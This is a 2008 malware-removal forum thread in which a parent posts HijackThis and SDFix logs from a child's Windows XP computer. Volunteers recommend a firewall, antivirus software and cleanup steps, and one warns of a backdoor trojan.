text:
Welcome to MalwareRemoval.com,
What if we told you that you could get malware removal help from experts, and that it was 100% free? MalwareRemoval.com provides free support for people with infected computers. Our help, and the tools we use are always 100% free. No hidden catch. We simply enjoy helping others. You enjoy a clean, safe computer.

Kid's computer got infected.

MalwareRemoval.com provides free support for people with infected computers. Using plain language that anyone can understand, our community of volunteer experts will walk you through each step.

Kid's computer got infected.

Hello,

My kid's machine seems to be acting up. It shuts off mid operation, sometimes, the monitor blanks out but the machine seems to continue running.

I installed MPK keylogger to monitor his activity on the computer. I'm wondering if that was the mistake or if something he has installed was infected. He is already a limited user, is there a way to prevent him from downloading or installing anything?

The HJT log is:

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 10:58:20 AM, on 9/10/2008
Platform: Windows XP SP2, v.2149 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2149)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WLService.exe
C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WMP54Gv4.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\MPK\Mpk.exe
C:\WINDOWS\Mixer.exe
C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe
C:\Program Files\ATI Technologies\ATI.ACE\cli.exe
C:\Program Files\ATI Multimedia\main\ATIDtct.EXE
C:\Program Files\ATI Multimedia\RemCtrl\ATIRW.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\rundll32.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe
C:\WINDOWS\system32\wuauclt.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://us.rd.yahoo.com/customize/ie/def ... earch.html
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.yahoo.com/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.yahoo.com/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Bar = http://us.rd.yahoo.com/customize/ie/def ... earch.html
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.yahoo.com/
R1 - HKCU\Software\Microsoft\Internet Explorer\SearchURL,(Default) = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R3 - URLSearchHook: Yahoo! ¤u¨ã¦C - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: &Yahoo! Toolbar Helper - {02478D38-C3F9-4efb-9B51-7695ECA05670} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: Yahoo! IE Services Button - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\Program Files\Yahoo!\Common\yiesrvc.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O2 - BHO: AcroIEToolbarHelper Class - {AE7CD045-E861-484f-8273-0445EE161910} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O3 - Toolbar: Yahoo! ¤u¨ã¦C - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O4 - HKLM\..\Run: [C-Media Mixer] Mixer.exe /startup
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\system32\NvCpl.dll,NvStartup
O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe"
O4 - HKLM\..\Run: [HomeKeyLogger] C:\Program Files\Monitor\KeyLogger.exe
O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
O4 - HKLM\..\Run: [ATICCC] "C:\Program Files\ATI Technologies\ATI.ACE\cli.exe" runtime
O4 - HKCU\..\Run: [Yahoo! Pager] "C:\PROGRA~1\Yahoo!\MESSEN~1\YAHOOM~1.EXE" -quiet
O4 - HKCU\..\Run: [ATI Launchpad] "C:\Program Files\ATI Multimedia\main\launchpd.exe"
O4 - HKCU\..\Run: [ATI DeviceDetect] C:\Program Files\ATI Multimedia\main\ATIDtct.EXE
O4 - HKCU\..\Run: [ATI Remote Control] C:\Program Files\ATI Multimedia\RemCtrl\ATIRW.exe
O4 - HKLM\..\Policies\Explorer\Run: [Mpk.exe] C:\WINDOWS\system32\MPK\Mpk.exe
O4 - HKUS\S-1-5-21-1547161642-688789844-1343024091-1006\..\Run: [Yahoo! Pager] "C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe" -quiet (User 'Kids')
O4 - HKUS\S-1-5-18\..\Run: [] (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [] (User 'Default user')
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: ATI CATALYST System Tray.lnk = C:\Program Files\ATI Technologies\ATI.ACE\CLI.exe
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~3\OFFICE11\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O9 - Extra button: ATI TV - {44226DFF-747E-4edc-B30C-78752E50CD0C} - C:\Program Files\ATI Multimedia\tv\EXPLBAR.DLL
O9 - Extra button: PalTalk - {4EAFEF58-EEFA-4116-983D-03B49BCBFFFE} - C:\Program Files\Paltalk Messenger\Paltalk.exe (file missing)
O9 - Extra button: Yahoo! Services - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\Program Files\Yahoo!\Common\yiesrvc.dll
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O12 - Plugin for .spop: C:\Program Files\Internet Explorer\Plugins\NPDocBox.dll
O16 - DPF: {30528230-99f7-4bb4-88d8-fa1d4f56a2ab} (Installation Support) - C:\Program Files\Yahoo!\Common\Yinsthelper.dll
O17 - HKLM\System\CCS\Services\Tcpip\..\{2FFA018E-92F4-465B-B264-DE54A0726949}: NameServer = 64.233.222.2,64.233.222.7
O23 - Service: Ati HotKey Poller - ATI Technologies Inc. - C:\WINDOWS\system32\Ati2evxx.exe
O23 - Service: ATI Smart - Unknown owner - C:\WINDOWS\system32\ati2sgag.exe
O23 - Service: Imapi Helper - Alex Feinman - C:\Program Files\Alex Feinman\ISO Recorder\ImapiHelper.exe
O23 - Service: NVIDIA Driver Helper Service (NVSvc) - NVIDIA Corporation - C:\WINDOWS\system32\nvsvc32.exe
O23 - Service: WMP54Gv4SVC - GEMTEKS - C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WLService.exe
O23 - Service: X10 Device Network Service (x10nets) - Unknown owner - C:\PROGRA~1\ATIMUL~1\RemCtrl\x10nets.exe (file missing)

--
End of file - 7244 bytes
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA
Register to Remove

Re: Kid's computer got infected.

Is this a different a different computer than the one in this thread?

viewtopic.php?f=11&t=34077

I do not see an antivirus program at all nor do I see a firewall.

Step 1

A Firewall is an essential part of computer security and you do not appear to have a third party software firewall running on your system. If you have one, and I missed it, please ignore this. If you are relying on the firewall that comes with Service Pack 2, then you need to install a third party software firewall. While the SP2 firewall is better than nothing, it does not monitor outgoing traffic, so anything malicious on your computer can 'phone home' at will. There are several firewalls that provide better protection than the Windows SP2 firewall. Follow these steps to turn off/disable the Windows Firewall before installing a new firewall:
2. Disconnect from the Internet.
3. Click Start > Control Panel.
4. Switch to Classic View if you have not already done so.
5. Double click on the Windows Firewall icon.
6. Click Off (Not recommended).
7. Install the new Firewall.
Do not attempt to run two software firewalls since like running two antivirus programs, they will possibly cause problems and conflict with each other.

Step2

There are a few firewalls available for free that appear to be good and easy to use:For more information about firewalls, and why a two-way firewall is better than the Windows XP one-way firewall, please read Understanding and Using Firewalls.

An antivirus program is an essential part of computer security and you do not appear to have one running on your system. There are a few available for free that have excellent reputations.

AVG 8 Anti-Virus Free Edition

AntiVir Personal

Avast! 4 Home Edition
If needed, see How to Install, Configure, and Use Avast Antivirus

Step 3

Please post a new HijackThis log.

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

I installed MPK keylogger to monitor his activity on the computer. I'm wondering if that was the mistake or if something he has installed was infected. He is already a limited user, is there a way to prevent him from downloading or installing anything?

I found several programs that should do what you want to do. I found one site that has two or more FREE programs you may like.

Crawler Parental Control or Net Purity License: Freeware

Install-Block Shareware $19.95 Folder Guard$39.95

Stop Software Installation Tool 2.2.2.2 Shareware \$18.95

Trust-no-exe Could not find price.

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

Thank you for your response, I will be taking the recommended steps today.

Yes, this is a different machine than the previous thread. I was able to resolve the issue from the other thread. I also had some family issues that caused me to be unavailable so that thread was closed, but all issues with that machine are resolved.

I will post again when I have a new HijackThis log.
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

Ok well, Let's see if we did this right the first time.

I installed Agnitum Outpost as the firewall and stuck with AVG for the Anti-Virus. Installed, updated, scanned, and resolved the infections found. MPK keylogger shows up as a threat, I'm wondering if I need to remove that or if it is safe to leave installed to monitor the activity.

I also tried to install the free parental control program options you suggested: Crawler Parental Control or Net Purity. Parental Control did not agree with my PC as it slowed to a halt after installed. Once I removed it, all was well again. I attempted to install NetPurity, but the site was unavailable and I couldn't find a way to download it.

Now that we've recovered, here is the new HijackThis Log:

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 7:26:11 PM, on 9/10/2008
Platform: Windows XP SP2, v.2149 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2149)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\PROGRA~1\AVG\AVG8\avgwdsvc.exe
C:\PROGRA~1\Agnitum\OUTPOS~1.0\outpost.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WLService.exe
C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WMP54Gv4.exe
C:\PROGRA~1\AVG\AVG8\avgam.exe
C:\PROGRA~1\AVG\AVG8\avgrsx.exe
C:\PROGRA~1\AVG\AVG8\avgnsx.exe
C:\PROGRA~1\AVG\AVG8\avgemc.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\Mixer.exe
C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe
C:\Program Files\ATI Technologies\ATI.ACE\cli.exe
C:\PROGRA~1\AVG\AVG8\avgtray.exe
C:\Program Files\ATI Multimedia\main\ATIDtct.EXE
C:\Program Files\ATI Multimedia\RemCtrl\ATIRW.exe
C:\WINDOWS\system32\rundll32.exe
C:\WINDOWS\system32\wuauclt.exe
C:\WINDOWS\System32\svchost.exe
C:\Documents and Settings\BaTMaN\Application Data\mjusbsp\magicJack.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://us.rd.yahoo.com/customize/ie/def ... earch.html
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.yahoo.com/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.yahoo.com/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Bar = http://us.rd.yahoo.com/customize/ie/def ... earch.html
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.yahoo.com/
R1 - HKCU\Software\Microsoft\Internet Explorer\SearchURL,(Default) = http://us.rd.yahoo.com/customize/ie/def ... .yahoo.com
R3 - URLSearchHook: Yahoo! ¤u¨ã¦C - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: &Yahoo! Toolbar Helper - {02478D38-C3F9-4efb-9B51-7695ECA05670} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O2 - BHO: WormRadar.com IESiteBlocker.NavFilter - {3CA2F312-6F6E-4B53-A66E-4E65E497C8C0} - C:\Program Files\AVG\AVG8\avgssie.dll
O2 - BHO: Yahoo! IE Services Button - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\Program Files\Yahoo!\Common\yiesrvc.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O2 - BHO: AVG Security Toolbar - {A057A204-BACC-4D26-9990-79A187E2698E} - C:\PROGRA~1\AVG\AVG8\AVGTOO~1.DLL
O2 - BHO: AcroIEToolbarHelper Class - {AE7CD045-E861-484f-8273-0445EE161910} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O3 - Toolbar: Yahoo! ¤u¨ã¦C - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\PROGRA~1\Yahoo!\Companion\Installs\cpn\yt.dll
O3 - Toolbar: AVG Security Toolbar - {A057A204-BACC-4D26-9990-79A187E2698E} - C:\PROGRA~1\AVG\AVG8\AVGTOO~1.DLL
O4 - HKLM\..\Run: [C-Media Mixer] Mixer.exe /startup
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\system32\NvCpl.dll,NvStartup
O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_07\bin\jusched.exe"
O4 - HKLM\..\Run: [HomeKeyLogger] C:\Program Files\Monitor\KeyLogger.exe
O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
O4 - HKLM\..\Run: [ATICCC] "C:\Program Files\ATI Technologies\ATI.ACE\cli.exe" runtime
O4 - HKLM\..\Run: [Outpost Firewall] C:\PROGRA~1\Agnitum\OUTPOS~1.0\outpost.exe /waitservice
O4 - HKLM\..\Run: [AVG8_TRAY] C:\PROGRA~1\AVG\AVG8\avgtray.exe
O4 - HKCU\..\Run: [Yahoo! Pager] "C:\PROGRA~1\Yahoo!\MESSEN~1\YAHOOM~1.EXE" -quiet
O4 - HKCU\..\Run: [ATI Launchpad] "C:\Program Files\ATI Multimedia\main\launchpd.exe"
O4 - HKCU\..\Run: [ATI DeviceDetect] C:\Program Files\ATI Multimedia\main\ATIDtct.EXE
O4 - HKCU\..\Run: [ATI Remote Control] C:\Program Files\ATI Multimedia\RemCtrl\ATIRW.exe
O4 - HKLM\..\Policies\Explorer\Run: [Mpk.exe] C:\WINDOWS\system32\MPK\Mpk.exe
O4 - HKUS\S-1-5-18\..\Run: [] (User 'SYSTEM')
O4 - HKUS\S-1-5-18\..\Run: [ATICCC] "C:\Program Files\ATI Technologies\ATI.ACE\cli.exe" runtime (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [] (User 'Default user')
O4 - Global Startup: Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe
O4 - Global Startup: ATI CATALYST System Tray.lnk = C:\Program Files\ATI Technologies\ATI.ACE\CLI.exe
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~3\OFFICE11\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_07\bin\ssv.dll
O9 - Extra button: ATI TV - {44226DFF-747E-4edc-B30C-78752E50CD0C} - C:\Program Files\ATI Multimedia\tv\EXPLBAR.DLL
O9 - Extra button: PalTalk - {4EAFEF58-EEFA-4116-983D-03B49BCBFFFE} - C:\Program Files\Paltalk Messenger\Paltalk.exe (file missing)
O9 - Extra button: Yahoo! Services - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\Program Files\Yahoo!\Common\yiesrvc.dll
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~3\OFFICE11\REFIEBAR.DLL
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O12 - Plugin for .spop: C:\Program Files\Internet Explorer\Plugins\NPDocBox.dll
O16 - DPF: {30528230-99f7-4bb4-88d8-fa1d4f56a2ab} (Installation Support) - C:\Program Files\Yahoo!\Common\Yinsthelper.dll
O17 - HKLM\System\CCS\Services\Tcpip\..\{2FFA018E-92F4-465B-B264-DE54A0726949}: NameServer = 64.233.222.2,64.233.222.7
O18 - Protocol: linkscanner - {F274614C-63F8-47D5-A4D1-FBDDE494F8D1} - C:\Program Files\AVG\AVG8\avgpp.dll
O23 - Service: Ati HotKey Poller - ATI Technologies Inc. - C:\WINDOWS\system32\Ati2evxx.exe
O23 - Service: ATI Smart - Unknown owner - C:\WINDOWS\system32\ati2sgag.exe
O23 - Service: AVG8 E-mail Scanner (avg8emc) - AVG Technologies CZ, s.r.o. - C:\PROGRA~1\AVG\AVG8\avgemc.exe
O23 - Service: AVG8 WatchDog (avg8wd) - AVG Technologies CZ, s.r.o. - C:\PROGRA~1\AVG\AVG8\avgwdsvc.exe
O23 - Service: Imapi Helper - Alex Feinman - C:\Program Files\Alex Feinman\ISO Recorder\ImapiHelper.exe
O23 - Service: NVIDIA Driver Helper Service (NVSvc) - NVIDIA Corporation - C:\WINDOWS\system32\nvsvc32.exe
O23 - Service: Outpost Firewall Service (OutpostFirewall) - Agnitum - C:\PROGRA~1\Agnitum\OUTPOS~1.0\outpost.exe
O23 - Service: WMP54Gv4SVC - GEMTEKS - C:\Program Files\Linksys Wireless-G PCI Wireless Network Monitor\WLService.exe
O23 - Service: X10 Device Network Service (x10nets) - Unknown owner - C:\PROGRA~1\ATIMUL~1\RemCtrl\x10nets.exe (file missing)

--
End of file - 8305 bytes
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

The HijackThis log entry below indicates that you have PalTalk.

O9 - Extra button: PalTalk - {4EAFEF58-EEFA-4116-983D-03B49BCBFFFE} - C:\Program Files\Paltalk Messenger\Paltalk.exe (file missing)

PalTalk is supported by advertising. PalTalk may not be harmful to have on your computer, but it will serve various types of advertising. PalTalk is considered ADWARE! I recommend uninstalling PalTalk. To uninstall PalTalk.
1. Click Start > Control Panel.
2. In Control Panel, double-click Add or Remove Programs.
3. In Add or Remove Programs, highlight PalTalk, click Remove.
4. Close the Add or Remove Programs and the Control Panel windows.
5. Using Windows Explorer (Windows key+e), search for the PalTalk folder. If the program folder is still there, select/highlight the PalTalk folder. DELETE it. (File > Delete.) If Windows is not installed on the C drive, replace C:\ with the appropriate drive letter.
6. Close Windows Explorer.
7. There is a Video showing how to uninstall a program (Grinler) detailing how to add or remove program in Windows for those who find a visual aid appealing.
Use an alternative instant messenger program:.Trillian and Miranda IM These are Malware free Instant Messenger programs which allow you to connect to multiple IM services in one program! (AOL, Yahoo, ICQ, IRC, MSN).

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

2. Double click SDFix.exe and it will extract the files to C:\SDFix.
3. Please reboot your computer in Safe Mode by doing the following :
• After hearing your computer beep once during startup, but before the Windows icon appears, tap the F8 key continually;
• Select the first option, to run Windows in Safe Mode, then press Enter.
4. Open the extracted SDFix folder and double click RunThis.bat to start the script.
5. Type Y to begin the cleanup process.
6. It will remove any Trojan Services and Registry Entries that it finds then prompt you to press any key to Reboot.
7. When your computer restarts, the Fixtool will run again to complete the removal process.
8. When Finished is displayed, press any key to end the script and load your desktop icons.
9. After the desktop icons load, the SDFix report will open on screen and save into the SDFix folder as Report.txt. Report.txt will also be copied to Clipboard.
11. If needed, see SDFix ReadMe

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

Ok so I tried to uninstall PalTalk and it seems to have already been done. I did delete the folde in C:\Program Files, just to be safe.

I also installed and ran SDFix. It seems to have gone well, but PalTalk is still showing up. Here is Report.txt:

SDFix: Version 1.223
Run by BaTMaN on Thu 09/11/2008 at 05:48 PM

Microsoft Windows XP [Version 5.1.2600]
Running From: C:\SDFix

Checking Services :

Restoring Default Security Values
Restoring Default Hosts File

Rebooting

Checking Files :

No Trojan Files Found

Removing Temp Files

Final Check :

catchme 0.3.1361.2 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
Rootkit scan 2008-09-11 18:05:48
Windows 5.1.2600 Service Pack 2, v.2149 NTFS

scanning hidden processes ...

scanning hidden services & system hive ...

scanning hidden registry entries ...

scanning hidden files ...

scan completed successfully
hidden processes: 0
hidden services: 0
hidden files: 0

Remaining Services :

Authorized Application Key Export:

[HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\standardprofile\authorizedapplications\list]
"%windir%\\system32\\sessmgr.exe"="%windir%\\system32\\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019"
"C:\\Program Files\\Yahoo!\\Messenger\\YahooMessenger.exe"="C:\\Program Files\\Yahoo!\\Messenger\\YahooMessenger.exe:*:Enabled:Yahoo! Messenger"
"C:\\Program Files\\Yahoo!\\Messenger\\YServer.exe"="C:\\Program Files\\Yahoo!\\Messenger\\YServer.exe:*:Enabled:Yahoo! FT Server"
"C:\\Program Files\\SHOUTcast\\sc_serv.exe"="C:\\Program Files\\SHOUTcast\\sc_serv.exe:*:Enabled:sc_serv"
"C:\\Program Files\\Paltalk Messenger\\paltalk.exe"="C:\\Program Files\\Paltalk Messenger\\paltalk.exe:*:Enabled:Paltalk 9.0"
"C:\\Program Files\\Microsoft Games\\Zoo Tycoon 2\\zt.exe"="C:\\Program Files\\Microsoft Games\\Zoo Tycoon 2\\zt.exe:*:Enabled:Zoo Tycoon 2 Executable"
"C:\\Program Files\\LimeWire\\LimeWire.exe"="C:\\Program Files\\LimeWire\\LimeWire.exe:*:Disabled:LimeWire"
"C:\\Program Files\\AVG\\AVG8\\avgemc.exe"="C:\\Program Files\\AVG\\AVG8\\avgemc.exe:*:Enabled:avgemc.exe"
"C:\\Program Files\\AVG\\AVG8\\avgupd.exe"="C:\\Program Files\\AVG\\AVG8\\avgupd.exe:*:Enabled:avgupd.exe"
"C:\\Program Files\\AVG\\AVG8\\avgnsx.exe"="C:\\Program Files\\AVG\\AVG8\\avgnsx.exe:*:Enabled:avgnsx.exe"
"C:\\Documents and Settings\\BaTMaN\\Application Data\\mjusbsp\\magicJack.exe"="C:\\Documents and Settings\\BaTMaN\\Application Data\\mjusbsp\\magicJack.exe:*:Enabled:magicJack"

[HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\domainprofile\authorizedapplications\list]
"%windir%\\system32\\sessmgr.exe"="%windir%\\system32\\sessmgr.exe:*:enabled:@xpsp2res.dll,-22019"

Remaining Files :

Files with Hidden Attributes :

Fri 11 Jan 2008 3,302,728 ...H. --- "C:\Program Files\Cake Mania 2\CakeMania2.exe"
Wed 10 Sep 2008 72 A..H. --- "C:\Program Files\ATI Multimedia\RemCtrl\x10prod.sys"
Tue 26 Aug 2008 27 ...H. --- "C:\Documents and Settings\Kids\Local Settings\Temp\WL_2.0.3 Downloader.tmp"
Tue 22 Jul 2008 827,056 A..H. --- "C:\Documents and Settings\BaTMaN\Application Data\mjusbsp\ar00000\install.exe"
Tue 22 Jul 2008 7,370,912 A..H. --- "C:\Documents and Settings\BaTMaN\Application Data\mjusbsp\in00000\setup.exe"
Tue 22 Jul 2008 827,056 A..H. --- "C:\Documents and Settings\BaTMaN\Application Data\mjusbsp\Upgrade\install2.exe"
Tue 22 Jul 2008 7,370,912 A..H. --- "C:\Documents and Settings\BaTMaN\Application Data\mjusbsp\Upgrade\setup2.exe"
Tue 22 Jul 2008 827,056 A..H. --- "C:\Documents and Settings\Kids\Application Data\mjusbsp\ar00000\install.exe"
Tue 22 Jul 2008 7,370,912 A..H. --- "C:\Documents and Settings\Kids\Application Data\mjusbsp\in00000\setup.exe"
Tue 22 Jul 2008 827,056 A..H. --- "C:\Documents and Settings\Kids\Application Data\mjusbsp\Upgrade\install2.exe"
Tue 22 Jul 2008 7,370,912 A..H. --- "C:\Documents and Settings\Kids\Application Data\mjusbsp\Upgrade\setup2.exe"

Finished!
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

O4 - HKLM\..\Run: [HomeKeyLogger] C:\Program Files\Monitor\KeyLogger.exe

Monitors keystrokes so you can check if someonehas typed anything while you are away from your computer. Reported as spyware by SpyCop in their FAQ.

You may want to consider purchasing one of the shareware parental controls since you could not get the free ones to download.

suebaby41
MRU Master

Posts: 2053
Joined: February 8th, 2005, 7:38 pm

Re: Kid's computer got infected.

I downloaded HKL for use to monitor the kid's activity on this machine, and it has served well so far. Is it a requirement that I remove it? Are there any other suggestions you have before we consider this machine to be clean?

I will consider purchasing a monitoring tool, thanks for the help and advice. I am looking forward to being able to take the steps required to help others in similar situations.
Carlo Gambino
Regular Member

Posts: 113
Joined: August 24th, 2008, 3:13 am
Location: Ohio, USA

Re: Kid's computer got infected.

I am afraid I have unpleasant news for you. You have a Very Dangerous infection on this computer.

One or more of the identified infections is a backdoor trojan. This allows hackers to remotely control your computer, steal critical system information and Download and Execute files.

This is the standard warning for cases such as yours.

You are strongly advised to do the following immediately.

1. Disconnect infected computer from the Internet and from any networked computers until the computer can be cleaned.
2. Call your banks, credit card companies, financial institutions and inform them that you may be a victim of identity theft and ask them to put a watch on your accounts or change all your account numbers.
3. From a clean computer, change *all* your online passwords -- for email, for banks, financial accounts, PayPal, eBay, online companies, any online forums or groups.
4. Do NOT change passwords or do any transactions while using the infected computer because the attacker will get the new passwords and transaction information.
These trojans leave a backdoor open on the system that can allow hacker total and complete access to your computer. (Remote access trojan) Hacker can operate your computer just as if he was sitting in front of it. They can watch everything you are doing on the computer, play tricks, do screenshots, log passwords, start and stop programs.

Depending on a few things, like if you always had a firewall; if you are using a router with Hardware firewall, etc. the chances the backdoor was used will be reduced. However, if firewall was installed after the attack, chances are that they did use it.

In your first log, I saw no sign of either an antivirus or a firewall in your log. Chances are that this system is seriously compromised.

If it were my computer and I just discovered this type of trojan, I would be backing up my important stuff and re-installing everything from scratch. Though the Trojan has been identified and can be killed, because of its backdoor functionality, your computer is very likely compromised and there is no way to be sure your computer can ever again be trusted. Many experts in the security community believe that once infected with this type of Trojan, the best course of action would be a reformat and reinstall of the operating system. There are so many changes that could have been done if that backdoor was used.

